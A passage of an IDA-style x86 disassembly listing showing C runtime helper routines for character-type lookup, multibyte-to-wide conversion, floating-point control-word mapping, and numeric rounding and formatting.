arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427C50
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_4DB468
xor ebx, ebx
cmp eax, ebx
jnz short loc_423D5B
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_427940
push esi
nop
call near ptr 25F0528h
test eax, eax
jz short loc_423D39
mov eax, esi
jmp short loc_423D56
; ---------------------------------------------------------------------------
loc_423D39: ; CODE XREF: sub_423CEC+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset dword_4CAE2C
push esi
push ebx
call near ptr 2600000h
nop
test eax, eax
jz loc_423E21
push 2
pop eax
loc_423D56: ; CODE XREF: sub_423CEC+4Bj
mov dword_4DB468, eax
loc_423D5B: ; CODE XREF: sub_423CEC+2Fj
cmp eax, 2
jnz short loc_423D84
mov eax, [ebp+arg_14]
cmp eax, ebx
jnz short loc_423D6C
mov eax, dword_4DB334
loc_423D6C: ; CODE XREF: sub_423CEC+79j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
nop
call near ptr 2600000h
jmp loc_423E23
; ---------------------------------------------------------------------------
loc_423D84: ; CODE XREF: sub_423CEC+72j
cmp eax, 1
jnz loc_423E21
cmp [ebp+arg_10], ebx
jnz short loc_423D9A
mov eax, dword_4DB344
mov [ebp+arg_10], eax
loc_423D9A: ; CODE XREF: sub_423CEC+A4j
push ebx
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
mov eax, [ebp+arg_18]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_10]
nop
call near ptr 27F0000h
mov [ebp+var_20], eax
cmp eax, ebx
jz short loc_423E21
mov [ebp+var_4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov esi, esp
mov [ebp+var_24], esi
push edi
push ebx
push esi
call sub_41B590
add esp, 0Ch
jmp short loc_423DF0
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor esi, esi
loc_423DF0: ; CODE XREF: sub_423CEC+F7j
or [ebp+var_4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_423E21
push [ebp+var_20]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push [ebp+arg_10]
call near ptr 27F0000h
nop
cmp eax, ebx
jz short loc_423E21
push [ebp+arg_C]
push eax
push esi
push [ebp+arg_0]
nop
call near ptr 25F0528h
jmp short loc_423E23
; ---------------------------------------------------------------------------
loc_423E21: ; CODE XREF: sub_423CEC+61j
; sub_423CEC+9Bj ...
xor eax, eax
loc_423E23: ; CODE XREF: sub_423CEC+93j
; sub_423CEC+133j
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_423CEC endp
; =============== S U B R O U T I N E =======================================
sub_423E35 proc near ; CODE XREF: sub_41F58A+61p
; sub_420446+8p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DC6C0
jb short loc_423E44
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_423E44: ; CODE XREF: sub_423E35+Aj
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DC5C0[ecx*4]
mov al, [ecx+eax*8+4]
and eax, 40h
retn
sub_423E35 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423E5B proc near ; CODE XREF: sub_41F69F+2D4p
; sub_41F69F+6B3p
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_423E67
pop ebp
retn
; ---------------------------------------------------------------------------
loc_423E67: ; CODE XREF: sub_423E5B+8j
cmp dword_4DB334, 0
jnz short loc_423E82
mov cx, [ebp+arg_4]
cmp cx, 0FFh
ja short loc_423EB4
push 1
mov [eax], cl
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_423E82: ; CODE XREF: sub_423E5B+13j
lea ecx, [ebp+arg_0]
and [ebp+arg_0], 0
push ecx
push 0
push dword_43C504
push eax
lea eax, [ebp+arg_4]
push 1
push eax
push 220h
push dword_4DB344
call near ptr 27E1001h
nop
test eax, eax
jz short loc_423EB4
cmp [ebp+arg_0], 0
jz short loc_423EC1
loc_423EB4: ; CODE XREF: sub_423E5B+1Ej
; sub_423E5B+51j
mov dword_4DB278, 2Ah
or eax, 0FFFFFFFFh
loc_423EC1: ; CODE XREF: sub_423E5B+57j
pop ebp
retn
sub_423E5B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423EC3 proc near ; CODE XREF: sub_420510+6A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_423EE6
cmp [ebp+arg_8], ebx
jz short loc_423EE6
mov al, [esi]
cmp al, bl
jnz short loc_423EEC
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_423EE6
mov [eax], bx
loc_423EE6: ; CODE XREF: sub_423EC3+Cj
; sub_423EC3+11j ...
xor eax, eax
loc_423EE8: ; CODE XREF: sub_423EC3+42j
; sub_423EC3+86j ...
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_423EEC: ; CODE XREF: sub_423EC3+17j
cmp dword_4DB334, ebx
jnz short loc_423F07
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_423F02
movzx ax, al
mov [ecx], ax
loc_423F02: ; CODE XREF: sub_423EC3+36j
; sub_423EC3+C0j
push 1
pop eax
jmp short loc_423EE8
; ---------------------------------------------------------------------------
loc_423F07: ; CODE XREF: sub_423EC3+2Fj
mov ecx, off_43C2F8
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_423F64
mov eax, dword_43C504
cmp eax, 1
jle short loc_423F4B
cmp [ebp+arg_8], eax
jl short loc_423F55
xor ecx, ecx
cmp [ebp+arg_0], ebx
setnz cl
push ecx
push [ebp+arg_0]
push eax
push esi
push 9
push dword_4DB344
nop
call near ptr 27F0000h
test eax, eax
mov eax, dword_43C504
jnz short loc_423EE8
loc_423F4B: ; CODE XREF: sub_423EC3+5Cj
cmp [ebp+arg_8], eax
jb short loc_423F55
cmp [esi+1], bl
jnz short loc_423EE8
loc_423F55: ; CODE XREF: sub_423EC3+61j
; sub_423EC3+8Bj ...
mov dword_4DB278, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_423EE8
; ---------------------------------------------------------------------------
loc_423F64: ; CODE XREF: sub_423EC3+52j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
push 1
push esi
push 9
push dword_4DB344
call near ptr 27F0000h
nop
test eax, eax
jnz loc_423F02
jmp short loc_423F55
sub_423EC3 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_423F90 proc near ; CODE XREF: sub_420510+797p
; sub_420510+7E7p
cmp cl, 40h
jnb short loc_423FAA
cmp cl, 20h
jnb short loc_423FA0
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_423FA0: ; CODE XREF: sub_423F90+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_423FAA: ; CODE XREF: sub_423F90+3j
xor eax, eax
xor edx, edx
retn
sub_423F90 endp
; =============== S U B R O U T I N E =======================================
sub_423FAF proc near ; CODE XREF: sub_420F86+Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 0FFFFFFFFh
push esi
jz short loc_423FFB
mov esi, [esp+8+arg_4]
mov eax, [esi+0Ch]
test al, 1
jnz short loc_423FCD
test al, 80h
jz short loc_423FFB
test al, 2
jnz short loc_423FFB
loc_423FCD: ; CODE XREF: sub_423FAF+14j
cmp dword ptr [esi+8], 0
jnz short loc_423FDA
push esi
call sub_4239EF
pop ecx
loc_423FDA: ; CODE XREF: sub_423FAF+22j
mov eax, [esi]
cmp eax, [esi+8]
jnz short loc_423FEA
cmp dword ptr [esi+4], 0
jnz short loc_423FFB
inc eax
mov [esi], eax
loc_423FEA: ; CODE XREF: sub_423FAF+30j
test byte ptr [esi+0Ch], 40h
jz short loc_424001
dec dword ptr [esi]
mov eax, [esi]
cmp [eax], bl
jz short loc_424007
inc eax
mov [esi], eax
loc_423FFB: ; CODE XREF: sub_423FAF+9j
; sub_423FAF+18j ...
or eax, 0FFFFFFFFh
loc_423FFE: ; CODE XREF: sub_423FAF+6Cj
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424001: ; CODE XREF: sub_423FAF+3Fj
dec dword ptr [esi]
mov eax, [esi]
mov [eax], bl
loc_424007: ; CODE XREF: sub_423FAF+47j
mov eax, [esi+0Ch]
inc dword ptr [esi+4]
and al, 0EFh
or al, 1
mov [esi+0Ch], eax
mov eax, ebx
and eax, 0FFh
jmp short loc_423FFE
sub_423FAF endp
; =============== S U B R O U T I N E =======================================
sub_42401D proc near ; CODE XREF: sub_421576+52p
xor eax, eax
retn
sub_42401D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424020 proc near ; CODE XREF: sub_424055+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
fstcw word ptr [ebp+var_4]
push [ebp+var_4]
call sub_42406B
mov esi, eax
mov eax, [ebp+arg_4]
not eax
and esi, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or esi, eax
push esi
call sub_4240FD
pop ecx
mov [ebp+arg_4], eax
pop ecx
fldcw word ptr [ebp+arg_4]
mov eax, esi
pop esi
leave
retn
sub_424020 endp
; =============== S U B R O U T I N E =======================================
sub_424055 proc near ; CODE XREF: sub_421862+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_424020
pop ecx
pop ecx
retn
sub_424055 endp
; =============== S U B R O U T I N E =======================================
sub_42406B proc near ; CODE XREF: sub_424020+Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push ebp
test bl, 1
push edi
jz short loc_42407C
push 10h
pop eax
loc_42407C: ; CODE XREF: sub_42406B+Cj
test bl, 4
jz short loc_424083
or al, 8
loc_424083: ; CODE XREF: sub_42406B+14j
test bl, 8
jz short loc_42408A
or al, 4
loc_42408A: ; CODE XREF: sub_42406B+1Bj
test bl, 10h
jz short loc_424091
or al, 2
loc_424091: ; CODE XREF: sub_42406B+22j
test bl, 20h
jz short loc_424098
or al, 1
loc_424098: ; CODE XREF: sub_42406B+29j
test bl, 2
jz short loc_4240A2
or eax, 80000h
loc_4240A2: ; CODE XREF: sub_42406B+30j
movzx ecx, bx
push esi
mov edx, ecx
mov esi, 0C00h
mov edi, 300h
and edx, esi
mov ebp, 200h
jz short loc_4240DA
cmp edx, 400h
jz short loc_4240D7
cmp edx, 800h
jz short loc_4240D3
cmp edx, esi
jnz short loc_4240DA
or eax, edi
jmp short loc_4240DA
; ---------------------------------------------------------------------------
loc_4240D3: ; CODE XREF: sub_42406B+5Ej
or eax, ebp
jmp short loc_4240DA
; ---------------------------------------------------------------------------
loc_4240D7: ; CODE XREF: sub_42406B+56j
or ah, 1
loc_4240DA: ; CODE XREF: sub_42406B+4Ej
; sub_42406B+62j ...
and ecx, edi
pop esi
jz short loc_4240EA
cmp ecx, ebp
jnz short loc_4240EF
or eax, 10000h
jmp short loc_4240EF
; ---------------------------------------------------------------------------
loc_4240EA: ; CODE XREF: sub_42406B+72j
or eax, 20000h
loc_4240EF: ; CODE XREF: sub_42406B+76j
; sub_42406B+7Dj
pop edi
pop ebp
test bh, 10h
pop ebx
jz short locret_4240FC
or eax, 40000h
locret_4240FC: ; CODE XREF: sub_42406B+8Aj
retn
sub_42406B endp
; =============== S U B R O U T I N E =======================================
sub_4240FD proc near ; CODE XREF: sub_424020+23p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push esi
test bl, 10h
jz short loc_42410D
push 1
pop eax
loc_42410D: ; CODE XREF: sub_4240FD+Bj
test bl, 8
jz short loc_424114
or al, 4
loc_424114: ; CODE XREF: sub_4240FD+13j
test bl, 4
jz short loc_42411B
or al, 8
loc_42411B: ; CODE XREF: sub_4240FD+1Aj
test bl, 2
jz short loc_424122
or al, 10h
loc_424122: ; CODE XREF: sub_4240FD+21j
test bl, 1
jz short loc_424129
or al, 20h
loc_424129: ; CODE XREF: sub_4240FD+28j
test ebx, 80000h
jz short loc_424133
or al, 2
loc_424133: ; CODE XREF: sub_4240FD+32j
mov ecx, ebx
mov edx, 300h
and ecx, edx
mov esi, 200h
jz short loc_424160
cmp ecx, 100h
jz short loc_42415D
cmp ecx, esi
jz short loc_424158
cmp ecx, edx
jnz short loc_424160
or ah, 0Ch
jmp short loc_424160
; ---------------------------------------------------------------------------
loc_424158: ; CODE XREF: sub_4240FD+50j
or ah, 8
jmp short loc_424160
; ---------------------------------------------------------------------------
loc_42415D: ; CODE XREF: sub_4240FD+4Cj
or ah, 4
loc_424160: ; CODE XREF: sub_4240FD+44j
; sub_4240FD+54j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_424176
cmp ecx, 10000h
jnz short loc_424178
or eax, esi
jmp short loc_424178
; ---------------------------------------------------------------------------
loc_424176: ; CODE XREF: sub_4240FD+6Bj
or eax, edx
loc_424178: ; CODE XREF: sub_4240FD+73j
; sub_4240FD+77j
pop esi
test ebx, 40000h
pop ebx
jz short locret_424185
or ah, 10h
locret_424185: ; CODE XREF: sub_4240FD+83j
retn
sub_4240FD endp
; =============== S U B R O U T I N E =======================================
sub_424186 proc near ; CODE XREF: sub_424225+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push 20h
cdq
pop ecx
idiv ecx
push 1Fh
mov esi, eax
mov eax, [esp+8+arg_4]
cdq
idiv ecx
pop ecx
mov eax, [esp+4+arg_0]
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [eax+esi*4], edx
jnz short loc_4241CB
inc esi
cmp esi, 3
jge short loc_4241C6
lea eax, [eax+esi*4]
loc_4241B8: ; CODE XREF: sub_424186+3Ej
cmp dword ptr [eax], 0
jnz short loc_4241CB
inc esi
add eax, 4
cmp esi, 3
jl short loc_4241B8
loc_4241C6: ; CODE XREF: sub_424186+2Dj
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4241CB: ; CODE XREF: sub_424186+27j
; sub_424186+35j
xor eax, eax
pop esi
retn
sub_424186 endp
; =============== S U B R O U T I N E =======================================
sub_4241CF proc near ; CODE XREF: sub_424225+57p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
push edi
push 20h
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
idiv ecx
mov esi, eax
mov eax, [esp+0Ch+arg_4]
cdq
idiv ecx
lea edi, [ebx+esi*4]
push edi
push 1Fh
pop ecx
push 1
pop eax
sub ecx, edx
shl eax, cl
push eax
push dword ptr [edi]
call sub_425050
add esp, 0Ch
dec esi
js short loc_424221
lea edi, [ebx+esi*4]
loc_424208: ; CODE XREF: sub_4241CF+50j
test eax, eax
jz short loc_424221
push edi
push 1
push dword ptr [edi]
call sub_425050
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_424208
loc_424221: ; CODE XREF: sub_4241CF+34j
; sub_4241CF+3Bj
pop edi
pop esi
pop ebx
retn
sub_4241CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424225 proc near ; CODE XREF: sub_424380+81p
; sub_424380+CCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
lea edi, [eax-1]
push 20h
pop ecx
and [ebp+var_4], 0
lea ebx, [edi+1]
push 20h
mov eax, ebx
pop esi
cdq
idiv ecx
push 1Fh
mov ecx, eax
mov eax, ebx
cdq
idiv esi
mov eax, [ebp+arg_0]
pop esi
push 1
mov [ebp+var_8], ecx
lea eax, [eax+ecx*4]
mov [ebp+arg_4], eax
sub esi, edx
pop edx
mov ecx, esi
shl edx, cl
test [eax], edx
jz short loc_424289
inc ebx
push ebx
push [ebp+arg_0]
call sub_424186
pop ecx
test eax, eax
pop ecx
jnz short loc_424286
push edi
push [ebp+arg_0]
call sub_4241CF
pop ecx
mov [ebp+var_4], eax
pop ecx
loc_424286: ; CODE XREF: sub_424225+51j
mov eax, [ebp+arg_4]
loc_424289: ; CODE XREF: sub_424225+41j
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax], edx
mov eax, [ebp+var_8]
inc eax
cmp eax, ecx
jge short loc_4242A9
mov edx, [ebp+arg_0]
sub ecx, eax
lea edi, [edx+eax*4]
xor eax, eax
rep stosd
loc_4242A9: ; CODE XREF: sub_424225+76j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_424225 endp
; =============== S U B R O U T I N E =======================================
sub_4242B1 proc near ; CODE XREF: sub_424380+75p
; sub_424380+B6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push 3
sub ecx, eax
pop edx
loc_4242BF: ; CODE XREF: sub_4242B1+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_4242BF
pop esi
retn
sub_4242B1 endp
; =============== S U B R O U T I N E =======================================
sub_4242CC proc near ; CODE XREF: sub_424380+5Fp
; sub_424380+9Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor eax, eax
stosd
stosd
stosd
pop edi
retn
sub_4242CC endp
; =============== S U B R O U T I N E =======================================
sub_4242D8 proc near ; CODE XREF: sub_424380+4Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
loc_4242DE: ; CODE XREF: sub_4242D8+12j
cmp dword ptr [eax], 0
jnz short loc_4242F0
inc ecx
add eax, 4
cmp ecx, 3
jl short loc_4242DE
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4242F0: ; CODE XREF: sub_4242D8+9j
xor eax, eax
retn
sub_4242D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4242F3 proc near ; CODE XREF: sub_424380+C0p
; sub_424380+DAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
mov edi, [ebp+arg_0]
pop ebx
or esi, 0FFFFFFFFh
cdq
mov ecx, ebx
mov [ebp+var_4], 3
idiv ecx
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
cdq
idiv ecx
and [ebp+arg_4], 0
mov ecx, edx
shl esi, cl
sub ebx, edx
not esi
loc_424329: ; CODE XREF: sub_4242F3+58j
mov eax, [edi]
mov ecx, eax
and ecx, esi
mov [ebp+var_8], ecx
mov ecx, edx
shr eax, cl
or eax, [ebp+arg_4]
mov [edi], eax
mov eax, [ebp+var_8]
mov ecx, ebx
add edi, 4
shl eax, cl
dec [ebp+var_4]
mov [ebp+arg_4], eax
jnz short loc_424329
mov edi, [ebp+var_C]
push 2
pop ebx
mov esi, edi
push 8
pop ecx
shl esi, 2
loc_42435B: ; CODE XREF: sub_4242F3+86j
cmp ebx, edi
jl short loc_42436E
mov edx, [ebp+arg_0]
mov eax, ecx
sub eax, esi
mov eax, [eax+edx]
mov [ecx+edx], eax
jmp short loc_424375
; ---------------------------------------------------------------------------
loc_42436E: ; CODE XREF: sub_4242F3+6Aj
mov eax, [ebp+arg_0]
and dword ptr [ecx+eax], 0
loc_424375: ; CODE XREF: sub_4242F3+79j
dec ebx
sub ecx, 4
jns short loc_42435B
pop edi
pop esi
pop ebx
leave
retn
sub_4242F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424380 proc near ; CODE XREF: sub_4244EC+Dp
; sub_424502+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
movzx ecx, word ptr [eax+0Ah]
mov ebx, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
mov edi, [ebp+arg_8]
and ebx, 7FFFh
sub ebx, 3FFFh
mov [ebp+var_8], ecx
shl eax, 10h
cmp ebx, 0FFFFC001h
mov [ebp+var_4], eax
jnz short loc_4243ED
lea eax, [ebp+var_C]
xor esi, esi
push eax
call sub_4242D8
test eax, eax
pop ecx
jnz loc_4244AC
lea eax, [ebp+var_C]
push eax
call sub_4242CC
pop ecx
loc_4243E5: ; CODE XREF: sub_424380+E4j
push 2
loc_4243E7: ; CODE XREF: sub_424380+110j
pop eax
jmp loc_4244AE
; ---------------------------------------------------------------------------
loc_4243ED: ; CODE XREF: sub_424380+45j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
call sub_4242B1
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_424225
add esp, 10h
test eax, eax
jz short loc_42440E
inc ebx
loc_42440E: ; CODE XREF: sub_424380+8Bj
mov eax, [edi+4]
mov ecx, eax
sub ecx, [edi+8]
cmp ebx, ecx
jge short loc_424426
lea eax, [ebp+var_C]
push eax
call sub_4242CC
pop ecx
jmp short loc_424462
; ---------------------------------------------------------------------------
loc_424426: ; CODE XREF: sub_424380+98j
cmp ebx, eax
jg short loc_424469
sub eax, ebx
mov esi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4242B1
lea eax, [ebp+var_C]
push esi
push eax
call sub_4242F3
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_424225
mov eax, [edi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_4242F3
add esp, 20h
loc_424462: ; CODE XREF: sub_424380+A4j
xor esi, esi
jmp loc_4243E5
; ---------------------------------------------------------------------------
loc_424469: ; CODE XREF: sub_424380+A8j
cmp ebx, [edi]
jl short loc_424495
lea eax, [ebp+var_C]
push eax
call sub_4242CC
push dword ptr [edi+0Ch]
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_4242F3
mov esi, [edi+14h]
add esp, 0Ch
add esi, [edi]
push 1
jmp loc_4243E7
; ---------------------------------------------------------------------------
loc_424495: ; CODE XREF: sub_424380+EBj
push dword ptr [edi+0Ch]
mov esi, [edi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add esi, ebx
call sub_4242F3
pop ecx
pop ecx
loc_4244AC: ; CODE XREF: sub_424380+55j
xor eax, eax
loc_4244AE: ; CODE XREF: sub_424380+68j
push 1Fh
pop ecx
sub ecx, [edi+0Ch]
mov edi, [edi+10h]
shl esi, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or esi, ecx
or esi, [ebp+var_C]
cmp edi, 40h
jnz short loc_4244DD
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], esi
mov [ecx], edx
jmp short loc_4244E7
; ---------------------------------------------------------------------------
loc_4244DD: ; CODE XREF: sub_424380+14Ej
cmp edi, 20h
jnz short loc_4244E7
mov ecx, [ebp+arg_4]
mov [ecx], esi
loc_4244E7: ; CODE XREF: sub_424380+15Bj
; sub_424380+160j
pop edi
pop esi
pop ebx
leave
retn
sub_424380 endp
; =============== S U B R O U T I N E =======================================
sub_4244EC proc near ; CODE XREF: sub_424518+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43CC78
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_424380
add esp, 0Ch
retn
sub_4244EC endp
; =============== S U B R O U T I N E =======================================
sub_424502 proc near ; CODE XREF: sub_424545+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43CC90
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_424380
add esp, 0Ch
retn
sub_424502 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424518 proc near ; CODE XREF: sub_42199B+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4251F1
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_4244EC
add esp, 24h
leave
retn
sub_424518 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424545 proc near ; CODE XREF: sub_42199B+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4251F1
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_424502
add esp, 24h
leave
retn
sub_424545 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424572 proc near ; CODE XREF: sub_4219D9+65p
; sub_421ADD+63p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov ecx, [edx+0Ch]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
test ebx, ebx
mov eax, edi
jle short loc_4245AF
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_424595: ; CODE XREF: sub_424572+38j
mov dl, [ecx]
test dl, dl
jz short loc_4245A1
movsx edx, dl
inc ecx
jmp short loc_4245A4
; ---------------------------------------------------------------------------
loc_4245A1: ; CODE XREF: sub_424572+27j
push 30h
pop edx
loc_4245A4: ; CODE XREF: sub_424572+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_424595
mov edx, [ebp+arg_8]
loc_4245AF: ; CODE XREF: sub_424572+1Cj
and byte ptr [eax], 0
test ebx, ebx
jl short loc_4245C8
cmp byte ptr [ecx], 35h
jl short loc_4245C8
loc_4245BB: ; CODE XREF: sub_424572+52j
dec eax
cmp byte ptr [eax], 39h
jnz short loc_4245C6
mov byte ptr [eax], 30h
jmp short loc_4245BB
; ---------------------------------------------------------------------------
loc_4245C6: ; CODE XREF: sub_424572+4Dj
inc byte ptr [eax]
loc_4245C8: ; CODE XREF: sub_424572+42j
; sub_424572+47j
cmp byte ptr [esi], 31h
jnz short loc_4245D2
inc dword ptr [edx+4]
jmp short loc_4245E4
; ---------------------------------------------------------------------------
loc_4245D2: ; CODE XREF: sub_424572+59j
push edi
call sub_41AFE0
inc eax
push eax
push edi
push esi
call sub_41CC90
add esp, 10h
loc_4245E4: ; CODE XREF: sub_424572+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_424572 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4245E9 proc near ; CODE XREF: sub_4219D9+3Fp
; sub_421ADD+46p ...
var_C = byte ptr -0Ch
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp+arg_0]
push edi
push eax
lea eax, [ebp+var_C]
push eax
call sub_42464D
pop ecx
lea esi, [ebp+var_C]
pop ecx
push offset word_4DB470
push 0
push 11h
sub esp, 0Ch
mov edi, esp
movsd
movsd
movsw
call sub_4256C2
mov dword_4DB498, eax
add esp, 18h
movsx eax, byte_4DB472
mov dword_4DB490, eax
pop edi
movsx eax, word_4DB470
mov dword_4DB494, eax
mov dword_4DB49C, offset dword_4DB474
mov eax, offset dword_4DB490
pop esi
leave
retn
sub_4245E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42464D proc near ; CODE XREF: sub_4245E9+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
push ebx
push esi
push edi
mov ax, [edx+6]
mov edi, 7FFh
mov ecx, eax
and eax, 8000h
shr ecx, 4
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
mov esi, 80000000h
and eax, 0FFFFFh
test ebx, ebx
mov [ebp+var_4], esi
jz short loc_42469B
cmp ebx, edi
jz short loc_424694
lea edi, [ecx+3C00h]
jmp short loc_4246BC
; ---------------------------------------------------------------------------
